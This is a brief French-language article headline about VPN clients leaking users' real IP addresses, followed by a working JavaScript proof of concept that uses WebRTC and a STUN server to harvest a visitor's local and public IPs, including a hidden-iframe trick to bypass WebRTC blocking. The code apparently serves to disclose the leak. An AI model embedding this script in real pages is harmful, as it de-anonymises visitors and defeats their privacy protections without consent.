Les clients VPN pourraient divulguer l'adresse IP réelle des utilisateurs

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//get the IP addresses associated with an account 
function getIPs(callback){ 
    var ip_dups = {}; 
  
    //compatibility for firefox and chrome 
    var RTCPeerConnection = window.RTCPeerConnection 
        || window.mozRTCPeerConnection 
        || window.webkitRTCPeerConnection; 
    var useWebKit = !!window.webkitRTCPeerConnection; 
  
    //bypass naive webrtc blocking using an iframe 
    if(!RTCPeerConnection){ 
        //NOTE: you need to have an iframe in the page right above the script tag 
        // 
        //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe> 
        //<script>...getIPs called in here... 
        // 
        var win = iframe.contentWindow; 
        RTCPeerConnection = win.RTCPeerConnection 
            || win.mozRTCPeerConnection 
            || win.webkitRTCPeerConnection; 
        useWebKit = !!win.webkitRTCPeerConnection; 
    } 
  
    //minimal requirements for data connection 
    var mediaConstraints = { 
        optional: [{RtpDataChannels: true}] 
    }; 
  
    var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  
    //construct a new RTCPeerConnection 
    var pc = new RTCPeerConnection(servers, mediaConstraints); 
  
    function handleCandidate(candidate){ 
        //match just the IP address 
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ 
        var ip_addr = ip_regex.exec(candidate)[1]; 
  
        //remove duplicates 
        if(ip_dups[ip_addr] === undefined) 
            callback(ip_addr); 
  
        ip_dups[ip_addr] = true; 
    } 
  
    //listen for candidate events 
    pc.onicecandidate = function(ice){ 
  
        //skip non-candidate events 
        if(ice.candidate) 
            handleCandidate(ice.candidate.candidate); 
    }; 
  
    //create a bogus data channel 
    pc.createDataChannel(""); 
  
    //create an offer sdp 
    pc.createOffer(function(result){ 
  
        //trigger the stun server request 
        pc.setLocalDescription(result, function(){}, function(){}); 
  
    }, function(){}); 
  
    //wait for a while to let everything done 
    setTimeout(function(){ 
        //read candidate info from local description 
        var lines = pc.localDescription.sdp.split('\n'); 
  
        lines.forEach(function(line){ 
            if(line.indexOf('a=candidate:') === 0) 
                handleCandidate(line); 
        }); 
    }, 1000); 
} 
  
//Test: Print the IP addresses into the console 
getIPs(function(ip){console.log(ip);});